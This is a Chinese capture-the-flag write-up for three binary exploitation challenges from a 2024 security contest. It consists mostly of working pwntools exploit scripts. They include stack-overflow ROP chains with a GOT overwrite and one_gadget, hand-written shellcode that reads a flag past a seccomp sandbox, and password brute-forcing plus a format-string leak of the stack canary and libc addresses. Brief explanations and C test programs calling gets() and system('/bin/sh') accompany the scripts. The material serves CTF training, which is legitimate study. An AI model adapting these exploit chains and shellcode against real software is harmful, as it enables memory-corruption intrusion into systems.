2024春秋杯网络安全联赛夏季赛-PWN

stdout

溢出返回到vuln

然后rop

测试

#include <stdio.h>
#include <stdlib.h>int main() {//setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);printf("ouput2.\n");return 0;
}

取消掉注释后

setvbuf(stdout, 0LL, 2, 0LL)绕过

#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);setvbuf(stdout, 0LL, 2, 0LL);printf("ouput2.\n");gets(a);return 0;
}

执行 setvbuf(stdout, 0LL, 2, 0LL);可以看到之前的在缓冲区的上的已经输出

或者输出直到缓冲区满

使用system(“/bin/sh”)或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显

#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);//setvbuf(stdout, 0LL, 2, 0LL);system("/bin/sh");gets(a);return 0;
}

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)();
func_ptr onegadget;int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");char* put_addr=&puts;onegadget=put_addr-0x84420+0xe3afe;asm("mov r12,0");printf("%p",put_addr);//setvbuf(stdout, 0LL, 2, 0LL);onegadget();//system("/bin/sh");return 0;
}

发现可行

参考https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4

显式调用fflush函数
流被关闭（调用fclose）
程序正常结束（调用exit）

思路

gadget不够，用csu里的，通过rop的一个特殊gadget修改got表，然后利用gadget满足onegadget的条件，最后调用覆盖got表

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
# gdb.attach(p,"b main")
# pause()elf=ELF("./pwn")ret_addr=0x000000000040125D
stdout=0x0000000000404070
csu=0x00000000004013CA 
setvbuf=elf.plt["setvbuf"]
read=elf.got["read"]
put=elf.plt["puts"]
print(hex(read))
rbp=8*b"\xff"
payload=b"a"*0x50+rbp+p64(ret_addr)
p.sendline(payload)
#payload=b"a"*0x1f+rbp+p64(csu)+p64(1)+p64(2)+p64(stdout)+p64(0)+p64(0)+p64(0)+p64(0x00000000004013B0 ) +p64(2)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(setvbuf)
# .text:00000000004013B0                 mov     rdx, r14
# .text:00000000004013B3                 mov     rsi, r13
# .text:00000000004013B6                 mov     edi, r12d
# .text:00000000004013B9                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD                 add     rbx, 1
# .text:00000000004013C1                 cmp     rbp, rbx
# .text:00000000004013C4                 jnz     short loc_4013B0
# .text:00000000004013CA                 pop     rbx
# .text:00000000004013CB                 pop     rbp
# .text:00000000004013CC                 pop     r12
# .text:00000000004013CE                 pop     r13
# .text:00000000004013D0                 pop     r14
# .text:00000000004013D2                 pop     r15
# .text:00000000004013D4                 retn# 0x00000000004011fc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
#extent + csu                                                                                                                                                                                      
payload=b"a"*0x1f+rbp+p64(0x0000000000401287)+p64(csu)+  p64(0x5f6e4-6)+p64(0x0000000000404018+0x3d)+p64(0)+p64(0)+p64(0)+p64(0)  +p64(0x00000000004011fc )  +p64(0x0000000000401287)
p.sendline(payload)p.interactive()

shuffle

使用openat，mmap，writev读Flag或者openat preadv2 writev等等

零字节绕过shuffle（零字节之前不为零的不能超过一个即可）
然后写入shellcode即可（没有栈，通过mmap分配的内容作为栈，进而存储字符串和iovec这个结构体）

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()shellcode = '''mov eax,0 '''  #寄存器都被设置为零 push 0出现段错误
# shellcode += shellcraft.openat(0xffffff9c,"flag",0)#openat(AT_FDCWD,"flag",O_RDONLY)
# shellcode +=shellcraft.mmap(0,0x100,1, 1,3,0) #mmap(0,0x100,PROT_READ, MAP_SHARED,3,0)
# shellcode +=shellcraft.writev(1,'rax',0x100)
#  0x1337000:	mov    rax,0x0
# => 0x1337007:	push   0x67616c66
#    0x133700c:	mov    rsi,rsp
#    0x133700f:	mov    edi,0xffffff9c
#    0x1337014:	xor    edx,edx
#    0x1337016:	xor    eax,eax
#    0x1337018:	mov    ax,0x101
#    0x133701c:	syscall 
#    0x133701e:	push   0x1
#    0x1337020:	pop    r10
#    0x1337022:	push   0x3
#    0x1337024:	pop    r8
#    0x1337026:	xor    r9d,r9d
#    0x1337029:	xor    edi,edi
#    0x133702b:	mov    esi,0x1010201
#    0x1337030:	xor    esi,0x1010301
#    0x1337036:	mov    rdx,r10
#    0x1337039:	push   0x9
#    0x133703b:	pop    rax
#    0x133703c:	syscall 
#    0x133703e:	push   0x1
#    0x1337040:	pop    rdi
#    0x1337041:	xor    edx,edx
#    0x1337043:	mov    dh,0x1
#    0x1337045:	mov    rsi,rax
#    0x1337048:	push   0x14
#    0x133704a:	pop    rax
#    0x133704b:	syscall shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66mov edi, 0xffffff9c
mov    rsi, rsp
xor    edx,edx
xor    eax,eax
mov    ax,0x101
syscall 
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscallpush 0x20
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
p.interactive()

测试的如下，对照着写shellcode就行了

#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main()
{int fd = openat(AT_FDCWD,"flag",O_RDONLY);if(fd==-1){printf("openat error!");}char*addr=mmap(0,0x100,PROT_READ, MAP_SHARED,fd,0);char*addr_=mmap(NULL, 0x10, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);write(1,addr,0x100);struct iovec iov;char str[] = "Hello ";// 准备 iovec 结构体iov.iov_base = str;iov.iov_len  = strlen(str);// 使用 writev() 写入数据ssize_t n = writev(1, &iov, 1);return 0;
}

savetheprincess

openat+pread+write绕过

没有时间限制，也没有次数限制，可以爆破，26*7次,然后触发格式化字符串泄露canary和libc地址，然后溢出rop绕过沙箱

填充满buf，当输出buf时也会输出i从而判断是否i递增进而判断是否爆破该位正确

找不到控制第六个参数的gadget，mmap改成pread或者mprotect改栈为可执行权限，注意要页对齐，写shellcode使用openat，mmap，write读取flag
pread不能从终端输入，只能在之前加个泄露栈地址，然后flag名放栈上了

pread

pread() 函数在 Linux 和类 Unix 系统中用于从文件描述符指定的文件中读取数据，但与普通的 read() 函数不同，pread() 允许你指定从文件的哪个偏移量开始读取数据

pread() 的原型如下：

#include <unistd.h>ssize_t pread(int fd, void *buf, size_t count, off_t offset);

参数说明

• fd: 文件描述符，指向要从中读取数据的文件。
• buf: 指向缓冲区的指针，读取的数据将被存放到这个缓冲区中。
• count: 要读取的字节数。
• offset: 读取操作的起点偏移量，相对于文件的开始位置，单位是字节。

返回值

pread() 返回实际读取的字节数。如果读取失败，函数将返回 -1 并设置 errno 变量来指示错误原因。

示例代码

下面是一个使用 pread() 的示例代码：

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>int main(void) {int fd;char buffer[100];off_t offset = 100;  // 从文件的第100字节开始读取ssize_t bytes_read;// 打开文件fd = open("testfile.txt", O_RDONLY);if (fd == -1) {perror("open");exit(EXIT_FAILURE);}// 使用 pread 从文件的特定位置读取数据bytes_read = pread(fd, buffer, sizeof(buffer), offset);if (bytes_read == -1) {perror("pread");close(fd);exit(EXIT_FAILURE);}// 输出读取的数据buffer[bytes_read] = '\0';  // 确保字符串以 null 字符终止printf("Read %ld bytes: %s\n", bytes_read, buffer);// 关闭文件描述符close(fd);return 0;
}

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
lib = ELF('./libc.so.6')
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()password=""
for i in range(8):for j  in range(26):p.sendlineafter(b"> \n",str(1))pwd=passwordpwd+=chr(ord("a")+j )p.sendafter(b"please input your password: \n",pwd.ljust(10,"a"))result=p.recvuntil(b"!!!\n",drop=True)print(pwd," ",result)print(i+1," ",result)if b"successfully" in result:password=pwdprint("suceessful")payload=b"%9$p%11$p%10$p%15$p"   # canary pie libcp.send(payload)breakif i+1 in result:password=pwdprint("right")breakprint("error")canary=int(p.recv(18),16)
pie=int(p.recv(14),16)-0x17be
stack=int(p.recv(14),16)+0xa8+0x10
libc=int(p.recv(14),16)-0x29d90
openat_add=lib.sym["openat"]+libc
pread_add=lib.sym["pread64"]+libc
write_add=lib.sym["write"]+libc
print(hex(canary),hex(pie),hex(libc))
p.sendlineafter(b"> \n",str(2))pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f2e7
pop_r10=pie+0x00000000000017d5
pop_r8_mov_rax_1=libc+0x00000000001659e6
pop_rax=libc+0x0000000000045eb0
syscall=libc+0x0000000000029db4
pop_rdx=libc+0x000000000003d1eepayload=56*b"a"+p64(canary)+p64(0)+p64(pop_rdi) +p64(0xffffffffffffff9c)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(openat_add)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(pop_rdx)+p64(0)+p64(pread_add)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(write_add)
payload+=b"flag\x00"
p.sendlineafter(b"Attack the dragon!!\n",payload)
p.interactive()